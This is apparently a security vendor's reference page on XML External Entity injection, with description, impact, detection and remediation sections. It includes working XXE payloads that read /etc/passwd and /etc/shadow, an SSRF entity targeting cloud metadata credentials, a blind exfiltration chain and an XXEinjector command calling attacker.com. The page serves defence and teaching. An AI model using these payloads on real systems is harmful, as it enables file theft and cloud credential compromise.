SecureBlockLog inStart a pentest
Vulnerability Repository
CriticalInjection

XML External Entity (XXE) Injection

Maliciously crafted XML documents exploit external entity references to read server files, perform SSRF, and in some cases achieve remote code execution.

CVSS 9.1CWE CWE-611OWASP A05:2021 — Security Misconfiguration

Description

XML External Entity injection (XXE, CWE-611) exploits a feature built into the XML specification itself: the ability to define "entities" — named references that expand to a value at parse time. When an XML parser is configured to process external entities, an attacker can define an entity that reads a file from the server's filesystem (file:///etc/passwd) or makes an HTTP request on the server's behalf, effectively turning the parser into an open proxy.

XXE is categorized under OWASP A05:2021 (Security Misconfiguration) because the root cause is nearly always a parser left in its default, permissive state rather than a flaw in application logic. It appears in any endpoint that accepts XML input: SOAP web services, file upload features (DOCX, XLSX, SVG, and other XML-based formats), REST APIs that negotiate Content-Type: application/xml, and XML-based configuration imports.

The vulnerability is especially dangerous in cloud and microservice architectures because the server-side request forgery (SSRF) capability can reach internal services, including cloud metadata endpoints, internal REST APIs, and non-HTTP protocols such as gopher:// and ftp:// depending on the parser.

How It Works

A minimal XXE payload defines an external entity pointing to a local file and references it inside a legitimate XML element:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<userProfile>
  <name>&xxe;</name>
</userProfile>

When the vulnerable parser processes this document, &xxe; expands to the contents of /etc/passwd, which the application then typically reflects back in the response (e.g., inside a validation error or a data field).

For SSRF via XXE, redirect the entity to an internal address:

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role">

In blind XXE, the response contains no reflection. Exfiltration is achieved with an out-of-band DNS/HTTP callback using a parameter entity chain and an attacker-controlled DTD:

<!DOCTYPE foo [
  <!ENTITY % data SYSTEM "file:///etc/shadow">
  <!ENTITY % oob SYSTEM "http://attacker.com/dtd.xml">
  %oob;
]>

Tools like XXEinjector and Burp Suite's active scanner with the Collaborator feature automate both detection and data exfiltration for blind XXE scenarios.

Impact

  • Arbitrary File Read — Reading /etc/passwd, application secrets, private keys, and source code from the server filesystem
  • Server-Side Request Forgery — Probing internal network services and cloud metadata APIs inaccessible from the internet
  • Credential Theft — Extracting IAM credentials from cloud metadata endpoints to escalate to cloud account compromise
  • Denial of Service — Billion Laughs attack (<!ENTITY lol9 "&lol8;&lol8;&lol8;">) exhausts parser memory
  • Remote Code Execution — Possible via PHP expect:// wrapper or when combined with other vulnerabilities

Detection

  1. Intercept XML requests with Burp Suite and inject a basic external entity (SYSTEM "file:///etc/passwd") into the DOCTYPE. Look for file content in the response.
  2. Test non-obvious content types — convert a JSON request to XML by changing Content-Type: application/json to application/xml and reformatting the body. Some frameworks silently accept both.
  3. Use Burp Collaborator for blind XXE — inject SYSTEM "http://YOUR-COLLABORATOR-ID.burpcollaborator.net" and watch for DNS/HTTP callbacks that confirm out-of-band interaction.
  4. Fuzz file upload endpoints — craft a malicious DOCX/SVG/XML file containing an XXE payload and upload it. Monitor for delayed HTTP callbacks to detect async processing.
  5. Run XXEinjectorruby XXEinjector.rb --host=attacker.com --httpport=80 --file=request.txt --path=/etc/passwd automates blind XXE exfiltration.
  6. Audit parser configuration — search the codebase for DocumentBuilderFactory, SAXParserFactory, XMLInputFactory, libxml2, lxml, and DOMParser usage. Verify that external entity processing is explicitly disabled.

Remediation

Disable external entity processing in the parser. This is the single most effective control:

// Java — DocumentBuilderFactory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
# Python — lxml
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)

Use a data-only format where possible. If the API doesn't strictly require XML, migrate to JSON. JSON parsers have no external entity concept.

Validate and strip DTDs. Reject any XML document that contains a DOCTYPE declaration at the application level before passing it to the parser.

Apply egress filtering. Prevent the application server from making unexpected outbound connections. This limits SSRF and blind XXE exfiltration even if the parser is misconfigured.

Ready when you are
Scope a pentest in the next two minutes.
Start scoping